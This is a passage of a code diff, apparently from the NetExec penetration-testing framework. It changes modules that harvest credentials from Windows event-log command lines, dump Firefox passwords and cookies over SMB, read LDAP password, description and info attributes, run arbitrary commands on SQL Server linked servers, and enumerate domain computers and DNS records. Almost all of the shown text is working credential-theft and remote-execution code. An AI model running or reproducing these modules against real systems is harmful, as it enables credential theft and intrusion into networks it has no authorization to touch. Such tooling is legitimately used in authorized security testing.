# if password is found but username is not found, and password is shorter than 6 characters, ignore it
continue
if not match.groupdict().get("password") and match.groupdict().get("username"):
# if username is found but password is not found. we need? ignore it
continue
# C:\Windows\system32\RunDll32.exe C:\Windows\system32\migration\WininetPlugin.dll,MigrateCacheForUser /m /0
if match.groupdict().get("username") and match.groupdict().get("password") and len(match.group("password")) < 6 and len(match.group("username")) < 6:
# if username and password is shorter than 6 characters, ignore it
continue
context.log.highlight("Credentials found! " + line.strip())
if match.groupdict().get("username"):
context.log.highlight("Username: " + match.group("username"))
if match.groupdict().get("password"):
context.log.highlight("Password: " + match.group("password"))
break
def on_admin_login(self, context, connection):
content = ""
if self.method.lower().startswith("e"):
limit_str = f"/c:{self.limit}" if self.limit is not None else ""
# https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4688
commands = [
f'wevtutil qe Microsoft-Windows-Sysmon/Operational {limit_str} /f:text /rd:true /q:"*[System[(EventID=1)]]" | findstr "ParentCommandLine"',
f'wevtutil qe Security {limit_str} /f:text /rd:true /q:"*[System[(EventID=4688)]]" | findstr "Command Line"',
]
for command in commands:
context.log.debug("Execute Command: " + command)
content += connection.execute(command, True)
else:
msevenclass = MSEven6Trigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
pipe="eventlog"
)
for record in msevenclass.query("\x00", '<QueryList><Query Id="0"><Select Path="Security">*[System/EventID=4688]</Select></Query><Query Id="0"><Select Path="Microsoft-Windows-Sysmon/Operational">*[System/EventID=1]</Select></Query></QueryList>\x00', self.limit):
if record is None:
continue
try:
xmlString = ResultSet(record).xml()
regexp = r'CommandLine">(?P<CommandLine>(.|\n)*?)<\/Data>'
match = re.search(regexp, xmlString, re.IGNORECASE)
if match and match.groupdict().get("CommandLine"):
content += "CommandLine: " + match.group("CommandLine") + "\n"
except Exception as e:
context.log.error(f"Error: {e}")
self.find_credentials(content, context)
class MSEven6Trigger:
def __init__(self, context):
self.context = context
self.dce = None
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
rpctransport = transport.DCERPCTransportFactory(hept_map(target, even6.MSRPC_UUID_EVEN6, protocol="ncacn_ip_tcp"))
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
self.dce = rpctransport.get_dce_rpc()
if doKerberos:
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
self.context.log.debug(f"Connecting to {target}...")
try:
self.dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
try:
self.dce.bind(even6.MSRPC_UUID_EVEN6)
self.context.log.debug("[+] Successfully bound!")
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return
self.context.log.debug("[+] Successfully bound!")
def query(self, path, query, limit):
req = even6.EvtRpcRegisterLogQuery()
req["Path"] = path + "\x00"
req["Query"] = query + "\x00"
req["Flags"] = even6.EvtQueryChannelName | even6.EvtReadNewestToOldest
resp = self.dce.request(req)
handle = resp["Handle"]
return MSEven6Result(self, handle, limit)
class MSEven6Result:
def __init__(self, conn, handle, limit=None):
self._conn = conn
self._handle = handle
self._hardlimit = limit
def __iter__(self):
self._resp = None
return self
def __next__(self):
if self._hardlimit is not None:
self._hardlimit -= 1
if self._hardlimit < 0:
raise StopIteration
if self._resp is not None and self._resp["NumActualRecords"] == 0:
raise StopIteration
if self._resp is None or self._index == self._resp["NumActualRecords"]:
req = even6.EvtRpcQueryNext()
req["LogQuery"] = self._handle
req["NumRequestedRecords"] = 100
req["TimeOutEnd"] = 1000
req["Flags"] = 0
self._resp = self._conn.dce.request(req)
if self._resp["NumActualRecords"] == 0:
return None
else:
self._index = 0
offset = self._resp["EventDataIndices"][self._index]["Data"]
size = self._resp["EventDataSizes"][self._index]["Data"]
self._index += 1
return b"".join(self._resp["ResultBuffer"][offset:offset + size])
+15 -39
View File
@@ -1,28 +1,23 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class NXCModule:
"""
Example
Example:
-------
Module by @yomama
"""
name = "example module"
description = "I do something"
supported_protocols = [] # Example: ['smb', 'mssql']
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
supported_protocols = [] # Example: ['smb', 'mssql']
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""Required.
Module options get parsed here. Additionally, put the modules usage here as well
"""
pass
def on_login(self, context, connection):
"""Concurrent.
@@ -30,43 +25,24 @@ class NXCModule:
"""
# Logging best practice
# Mostly you should use these functions to display information to the user
context.log.display("I'm doing something") # Use this for every normal message ([*] I'm doing something)
context.log.success("I'm doing something") # Use this for when something succeeds ([+] I'm doing something)
context.log.fail("I'm doing something") # Use this for when something fails ([-] I'm doing something), for example a remote registry entry is missing which is needed to proceed
context.log.highlight("I'm doing something") # Use this for when something is important and should be highlighted, printing credentials for example
context.log.display("I'm doing something") # Use this for every normal message ([*] I'm doing something)
context.log.success("I'm doing something") # Use this for when something succeeds ([+] I'm doing something)
context.log.fail("I'm doing something") # Use this for when something fails ([-] I'm doing something), for example a remote registry entry is missing which is needed to proceed
context.log.highlight("I'm doing something") # Use this for when something is important and should be highlighted, printing credentials for example
# These are for debugging purposes
context.log.info("I'm doing something") # This will only be displayed if the user has specified the --verbose flag, so add additional info that might be useful
context.log.debug("I'm doing something") # This will only be displayed if the user has specified the --debug flag, so add info that you would might need for debugging errors
context.log.info("I'm doing something") # This will only be displayed if the user has specified the --verbose flag, so add additional info that might be useful
context.log.debug("I'm doing something") # This will only be displayed if the user has specified the --debug flag, so add info that you would might need for debugging errors
# These are for more critical error handling
context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
try:
raise Exception("Exception that might occure")
raise Exception("Exception that might have occurred")
except Exception as e:
context.log.exception(f"Exception occured: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
context.log.exception(f"Exception occurred: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
def on_admin_login(self, context, connection):
"""Concurrent.
Required if on_login is not present
This gets called on each authenticated connection with Administrative privileges
"""
pass
def on_request(self, context, request):
"""Optional.
If the payload needs to retrieve additional files, add this function to the module
"""
pass
def on_response(self, context, response):
"""Optional.
If the payload sends back its output to our server, add this function to the module to handle its output
"""
pass
def on_shutdown(self, context, connection):
"""Optional.
Do something on shutdown
"""
pass
+40
View File
@@ -0,0 +1,40 @@
class NXCModule:
"""
Execute commands on linked servers
Module by deathflamingo
"""
name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
def __init__(self):
self.mssql_conn = None
self.context = None
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
LINKED_SERVER: The name of the linked server to execute the command on.
COMMAND: The command to execute on the linked server.
"""
if "LINKED_SERVER" in module_options:
self.linked_server = module_options["LINKED_SERVER"]
if "COMMAND" in module_options:
self.command = module_options["COMMAND"]
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
return
self.execute_on_link()
def execute_on_link(self):
"""Executes the specified command on the linked server."""
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
result = self.mssql_conn.sql_query(query)
self.context.log.display(f"Command output: {result}")
+53 -60
View File
@@ -1,85 +1,78 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
from nxc.logger import nxc_logger
from impacket.ldap.ldap import LDAPSearchError
from impacket.ldap.ldapasn1 import SearchResultEntry
import sys
class NXCModule:
'''
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
'''
name = 'find-computer'
description = 'Finds computers in the domain via the provided text'
supported_protocols = ['ldap']
opsec_safe = True
multiple_hosts = False
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
"""
name = "find-computer"
description = "Finds computers in the domain via the provided text"
supported_protocols = ["ldap"]
def options(self, context, module_options):
'''
find-computer: Specify find-computer to call the module
TEXT: Specify the TEXT option to enter your text to search for
Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
'''
"""
TEXT Search TEXT in the operating system or name of the computer.
self.TEXT = ''
Examples:
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
"""
self.TEXT = ""
if 'TEXT' in module_options:
self.TEXT = module_options['TEXT']
if "TEXT" in module_options:
self.TEXT = module_options["TEXT"]
else:
context.log.error('TEXT option is required!')
exit(1)
context.log.error("TEXT option is required!")
sys.exit(1)
def on_login(self, context, connection):
# Building the search filter
searchFilter = "(&(objectCategory=computer)(&(|(operatingSystem=*"+self.TEXT+"*)(name=*"+self.TEXT+"*))))"
search_filter = f"(&(objectCategory=computer)(|(operatingSystem=*{self.TEXT}*)(name=*{self.TEXT}*)))"
try:
context.log.debug('Search Filter=%s' % searchFilter)
resp = connection.ldapConnection.search(searchFilter=searchFilter,
attributes=['dNSHostName','operatingSystem'],
sizeLimit=0)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
except LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
pass
else:
logging.debug(e)
nxc_logger.debug(e)
return False
answers = []
context.log.debug('Total no. of records returned %d' % len(resp))
context.log.debug(f"Total no. of records returned: {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
if isinstance(item, SearchResultEntry) is not True:
continue
dNSHostName = ''
operatingSystem = ''
dns_host_name = ""
operating_system = ""
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'dNSHostName':
dNSHostName = str(attribute['vals'][0])
elif str(attribute['type']) == 'operatingSystem':
operatingSystem = attribute['vals'][0]
if dNSHostName != '' and operatingSystem != '':
answers.append([dNSHostName,operatingSystem])
for attribute in item["attributes"]:
if str(attribute["type"]) == "dNSHostName":
dns_host_name = str(attribute["vals"][0])
elif str(attribute["type"]) == "operatingSystem":
operating_system = attribute["vals"][0]
if dns_host_name != "" and operating_system != "":
answers.append([dns_host_name, operating_system])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
pass
context.log.debug(f"Skipping item, cannot process due to error {e}")
if len(answers) > 0:
context.log.success('Found the following computers: ')
context.log.success("Found the following computers: ")
for answer in answers:
try:
IP = socket.gethostbyname(answer[0])
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],IP))
context.log.debug('IP found')
except socket.gaierror as e:
context.log.debug('Missing IP')
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],"No IP Found"))
resolv = connection.resolver(answer[0])
if resolv:
context.log.highlight(f"{answer[0]} ({answer[1]}) ({resolv['host']})")
context.log.debug("IP found via DNS query")
else:
context.log.debug(f"No DNS response for {answer[0]}")
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
else:
context.log.success('Unable to find any computers with the text "' + self.TEXT + '"')
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
+30 -21
View File
@@ -1,6 +1,5 @@
#!/usr/bin/env python3
from dploot.lib.target import Target
from nxc.protocols.smb.firefox import FirefoxTriage
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
class NXCModule:
@@ -11,17 +10,22 @@ class NXCModule:
"""
name = "firefox"
description = "Dump credentials from Firefox"
description = "[REMOVED] Dump credentials from Firefox"
supported_protocols = ["smb"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""Dump credentials from Firefox"""
pass
"""
[REMOVED] use the --dpapi flag instead of the module firefox.
COOKIES Get also Firefox cookies
"""
self.gather_cookies = "COOKIES" in module_options
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.")
return
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
@@ -43,20 +47,25 @@ class NXCModule:
use_kcache=use_kcache,
)
def firefox_callback(secret):
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
context.db.add_dpapi_secrets(
target.address,
"FIREFOX",
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=context.log)
firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
firefox_triage.upgrade_connection(connection=connection.conn)
firefox_credentials = firefox_triage.run()
for credential in firefox_credentials:
context.log.highlight(
"[%s][FIREFOX] %s %s:%s"
% (
credential.winuser,
credential.url + " -" if credential.url != "" else "-",
credential.username,
credential.password,
)
)
firefox_triage.run(gather_cookies=self.gather_cookies)
except Exception as e:
context.log.debug("Error while looting firefox: {}".format(e))
context.log.debug(f"Error while looting firefox: {e}")
+15 -35
View File
@@ -1,10 +1,7 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import re
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -16,8 +13,6 @@ class NXCModule:
name = "get-desc-users"
description = "Get description of the users. May contained password"
supported_protocols = ["ldap"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
@@ -34,7 +29,7 @@ class NXCModule:
self.MINLENGTH = module_options["MINLENGTH"]
if "PASSWORDPOLICY" in module_options:
self.PASSWORDPOLICY = True
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -42,8 +37,8 @@ class NXCModule:
searchFilter = "(objectclass=user)"
try:
context.log.debug("Search Filter=%s" % searchFilter)
resp = connection.ldapConnection.search(
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
@@ -54,35 +49,19 @@ class NXCModule:
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
nxc_logger.debug(e)
return False
answers = []
context.log.debug("Total of records returned %d" % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
description = ""
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "description":
description = attribute["vals"][0]
if sAMAccountName != "" and description != "":
answers.append([sAMAccountName, description])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
pass
context.log.debug(f"Total of records returned {len(resp)}")
resp_parsed = parse_result_attributes(resp)
answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")]
answers = self.filter_answer(context, answers)
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight("User: {} description: {}".format(answer[0], answer[1]))
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
@@ -107,10 +86,11 @@ class NXCModule:
if self.regex.search(description):
conditionPasswordPolicy = True
if self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy:
answersFiltered.append([answer[0], description])
elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy:
answersFiltered.append([answer[0], description])
elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter:
if conditionFilter and not self.PASSWORDPOLICY:
context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
answersFiltered.append([answer[0], description])
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
return answersFiltered
+44
View File
@@ -0,0 +1,44 @@
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get the info field of users
Module by @sepauli
"""
name = "get-info-users"
description = "Get the info field of all users. May contain password"
supported_protocols = ["ldap"]
def options(self, context, module_options):
"""FILTER Apply the FILTER (grep-like) (default: '')"""
self.FILTER = ""
if "FILTER" in module_options:
self.FILTER = module_options["FILTER"]
def on_login(self, context, connection):
# Building the search filter
resp = connection.search(
searchFilter="(info=*)",
attributes=["sAMAccountName", "info"]
)
context.log.debug(f"Total of records returned {len(resp)}")
resp_parsed = parse_result_attributes(resp)
answers = [[x["sAMAccountName"], x["info"]] for x in resp_parsed]
answers = self.filter_answer(context, answers)
if answers:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]:<20} Info: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
if not self.FILTER:
context.log.debug("No filter option enabled")
return answers
# Filter
context.log.debug(f"Filter info field with: {self.FILTER}")
return [answer for answer in answers if self.FILTER in answer[1]]
@@ -1,18 +1,17 @@
# Credit to https://twitter.com/snovvcrash/status/1550518555438891009
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
# module by @mpgn_x64
from os.path import expanduser
import re
import codecs
import socket
from builtins import str
from datetime import datetime
from struct import unpack
import dns.name
import dns.resolver
from impacket.structure import Structure
from ldap3 import LEVEL
from os.path import expanduser
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
def get_dns_zones(connection, root, debug=False):
@@ -25,25 +24,8 @@ def get_dns_zones(connection, root, debug=False):
return zones
def get_dns_resolver(server, context):
# Create a resolver object
dnsresolver = dns.resolver.Resolver()
# Is our host an IP? In that case make sure the server IP is used
# if not assume lookups are working already
try:
if server.startswith("ldap://"):
server = server[7:]
if server.startswith("ldaps://"):
server = server[8:]
socket.inet_aton(server)
dnsresolver.nameservers = [server]
except socket.error:
context.info("Using System DNS to resolve unknown entries. Make sure resolving your" " target domain works here or specify an IP as target host to use that" " server for queries")
return dnsresolver
def ldap2domain(ldap):
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc=") :], flags=re.I)[3:]
def ldap2domain(baseDN):
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
def new_record(rtype, serial):
@@ -51,7 +33,7 @@ def new_record(rtype, serial):
nr["Type"] = rtype
nr["Serial"] = serial
nr["TtlSeconds"] = 180
# From authoritive zone
# From authoritative zone
nr["Rank"] = 240
return nr
@@ -64,49 +46,42 @@ RECORD_TYPE_MAPPING = {
5: "CNAME",
6: "SOA",
12: "PTR",
# 15: 'MX',
# 16: 'TXT',
15: "MX",
16: "TXT",
28: "AAAA",
33: "SRV",
}
def searchResEntry_to_dict(results):
data = {}
for attr in results["attributes"]:
key = str(attr["type"])
value = str(attr["vals"][0])
data[key] = value
return data
ZERO = 0
A = 1
NS = 2
CNAME = 5
SOA = 6
PTR = 12
MX = 15
TXT = 16
AAAA = 28
SRV = 33
class NXCModule:
name = "get-network"
description = ""
description = "Query all DNS records with the corresponding IP from the domain."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
ALL Get DNS and IP (default: false)
ALL Get DNS and IP (default: false)
ONLY_HOSTS Get DNS only (no ip) (default: false)
"""
self.showall = False
self.showhosts = False
self.showip = True
if module_options and "ALL" in module_options:
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
self.showall = True
else:
print("Could not parse ALL option.")
if module_options and "IP" in module_options:
if module_options["IP"].lower() == "true" or module_options["IP"] == "1":
self.showip = True
else:
print("Could not parse ONLY_HOSTS option.")
if module_options and "ONLY_HOSTS" in module_options:
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
self.showhosts = True
@@ -115,43 +90,30 @@ class NXCModule:
def on_login(self, context, connection):
zone = ldap2domain(connection.baseDN)
dnsroot = "CN=MicrosoftDNS,DC=DomainDnsZones,%s" % connection.baseDN
searchtarget = "DC=%s,%s" % (zone, dnsroot)
dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
search_target = f"DC={zone},{dns_root}"
context.log.display("Querying zone for records")
sfilter = "(DC=*)"
try:
list_sites = connection.ldapConnection.search(
searchBase=searchtarget,
searchFilter=sfilter,
attributes=["dnsRecord", "dNSTombstoned", "name"],
sizeLimit=100000,
)
except ldap.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the" " data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
list_sites = e.getAnswers()
pass
else:
raise
targetentry = None
dnsresolver = get_dns_resolver(connection.host, context.log)
list_sites = connection.search(
searchFilter="(DC=*)",
attributes=["dnsRecord", "dNSTombstoned", "name"],
baseDN=search_target,
)
list_sites_parsed = parse_result_attributes(list_sites)
outdata = []
for item in list_sites:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
site = searchResEntry_to_dict(item)
for site in list_sites_parsed:
recordname = site["name"]
if "dnsRecord" in site:
record = bytes(site["dnsRecord"].encode("latin1"))
dr = DNS_RECORD(record)
if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
if dr["Type"] == 1:
if isinstance(site["dnsRecord"], list): # noqa: SIM108
records = [bytes(r) for r in site["dnsRecord"]]
else:
records = [bytes(site["dnsRecord"])]
for record in records:
dr = DNS_RECORD(record)
if dr["Type"] == A:
address = DNS_RPC_RECORD_A(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
@@ -161,17 +123,18 @@ class NXCModule:
"value": address.formatCanonical(),
}
)
if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
# Skip without "ALL" and "ONLY_HOSTS" => only IPs
elif dr["Type"] in [CNAME, NS, PTR] and (self.showall or self.showhosts):
address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
{
"name": recordname,
"type": RECORD_TYPE_MAPPING[dr["Type"]],
"value": address[list(address.fields)[0]].toFqdn(),
"value": address["nameNode"].toFqdn(),
}
)
elif dr["Type"] == 28:
elif dr["Type"] == AAAA:
address = DNS_RPC_RECORD_AAAA(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
@@ -182,19 +145,24 @@ class NXCModule:
}
)
context.log.highlight("Found %d records" % len(outdata))
path = expanduser("~/.nxc/logs/{}_network_{}.log".format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
# Filter duplicate IPs if "ALL" and "ONLY_HOSTS" are not set
if not (self.showall or self.showhosts):
seen_ips = set()
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
with codecs.open(path, "w", "utf-8") as outfile:
for row in outdata:
if self.showhosts:
outfile.write("{}\n".format(row["name"] + "." + connection.domain))
outfile.write(f"{row['name'] + '.' + connection.domain}\n")
elif self.showall:
outfile.write("{} \t {}\n".format(row["name"] + "." + connection.domain, row["value"]))
outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
else:
outfile.write("{}\n".format(row["value"]))
context.log.success("Dumped {} records to {}".format(len(outdata), path))
outfile.write(f"{row['value']}\n")
context.log.success(f"Dumped {len(outdata)} records to {path}")
if not self.showall and not self.showhosts:
context.log.display("To extract CIDR from the {} ip, run the following command: cat" " your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata)))
context.log.display(f"To extract CIDR from the {len(outdata)} ip, run the following command: cat your_file | mapcidr -aa -silent | mapcidr -a -silent")
class DNS_RECORD(Structure):
@@ -250,9 +218,9 @@ class DNS_COUNT_NAME(Structure):
def toFqdn(self):
ind = 0
labels = []
for i in range(self["LabelCount"]):
nextlen = unpack("B", self["RawName"][ind : ind + 1])[0]
labels.append(self["RawName"][ind + 1 : ind + 1 + nextlen].decode("utf-8"))
for _i in range(self["LabelCount"]):
nextlen = unpack("B", self["RawName"][ind: ind + 1])[0]
labels.append(self["RawName"][ind + 1: ind + 1 + nextlen].decode("utf-8"))
ind += nextlen + 1
# For the final dot
labels.append("")
+44
View File
@@ -0,0 +1,44 @@
from impacket.ldap import ldap as ldap_impacket
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get unixUserPassword attribute from all users in ldap
Module by @SyzikSecu
"""
name = "get-unixUserPassword"
description = "Get unixUserPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(unixUserPassword=*)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "unixUserPassword"],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
else:
nxc_logger.debug(e)
return False
if resp:
resp_parsed = parse_result_attributes(resp)
context.log.success("Found following users: ")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
else:
context.log.fail("No unixUserPassword Found")
+44
View File
@@ -0,0 +1,44 @@
from impacket.ldap import ldap as ldap_impacket
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get userPassword attribute from all users in ldap
Module by @SyzikSecu
"""
name = "get-userPassword"
description = "Get userPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(userPassword=*)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "userPassword"],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
else:
nxc_logger.debug(e)
return False
if resp:
resp_parsed = parse_result_attributes(resp)
context.log.success("Found following users: ")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
else:
context.log.fail("No unixUserPassword Found")
+5 -12
View File
@@ -1,8 +1,6 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.paths import NXC_PATH
import json
@@ -16,18 +14,13 @@ class NXCModule:
name = "get_netconnections"
description = "Uses WMI to query network connections."
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
No options
"""
pass
"""No options available"""
def on_admin_login(self, context, connection):
data = []
